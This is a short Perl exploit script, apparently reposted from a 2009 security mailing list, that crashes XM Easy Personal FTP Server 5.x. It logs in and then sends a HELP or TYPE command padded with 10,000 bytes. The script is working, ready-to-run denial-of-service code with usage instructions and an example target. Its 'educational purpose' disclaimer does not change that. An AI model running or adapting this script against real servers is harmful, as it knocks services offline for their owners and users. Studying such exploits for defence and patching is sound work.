#!usr/bin/perl -w


#######################################################################################

#   XM Easy Personal FTP Server 5.x allows remote attackers to cause a denial 
of service

#   via a "HELP" or "TYPE" command with an overly long argument.

#   Refer:

#                                                                               
                        http://secunia.com/advisories/35271/

#        Original advisory avaiable at: 
http://securitygyan.com/2009/06/09/xm-easy-personal-ftp-server-help-and-type-command-rdos-exploit/

#                 Product link: http://www.dxm2008.com/

#

#$$$$$This was strictly written for educational purpose. Use it at your own 
risk.$$$$$$$$$$

#$$$$$Author will not bare any responsibility for any damages 
watsoever.$$$$$$$$$$$$$$

#

#        Author:    Vinod Sharma

#        Email:     vinodsharma[underscore]mimit[at]gmail.com

#        Blog:       http://securitygyan.com/

#        Date:      09th june, 2009

#        

#

###Thanks all the Security Folks###

########################################################################################



use IO::Socket;



my $server_ip=$ARGV[0];

my $server_port=$ARGV[1];

my $username=$ARGV[2];

my $password=$ARGV[3];

my $command=$ARGV[4];

my $buffer=$command ." " ."\x41" x 10000 ."\r\n";          



if(($#ARGV + 1)!=5)

{

                                print "\nUsage: XM_FTP_Serv_Exploit.pl 
server_ip_address server_port username password command\n";

                                print "\nargument command can have a value HELP 
or TYPE\n";

                                print "\nExample: XM_FTP_Serv_Exploit.pl 
192.16.16.8 21 anonymous 123456 HELP";

                                

                                exit;

}

                                



$socket = new IO::Socket::INET (PeerAddr  =>$server_ip,  PeerPort  => 
$server_port, Proto => 'tcp', )   or die "Couldn't connect to Server\n";



                              

while (1)

{

        

    $socket->recv($recv_data,1024);

    print "RECIEVED: $recv_data"; 

    

        $send_data1 ="USER ".$username."\r\n";

    $socket->send($send_data1);

    $socket->recv($recv_data1,1024);

    print "RECIEVED: $recv_data1"; 

           

           $send_data2 ="PASS ".$password."\r\n";

       $socket->send($send_data2);

           $socket->recv($recv_data2,1024);

        print "RECIEVED: $recv_data2"; 

                

                

       $socket->send($buffer);

           print "\nAttack is send.....................\n";

           $socket->recv($recv_data3,1024);

        print "RECIEVED: $recv_data3"; 

        

                close $socket;

         

  }    

    

Reply via email to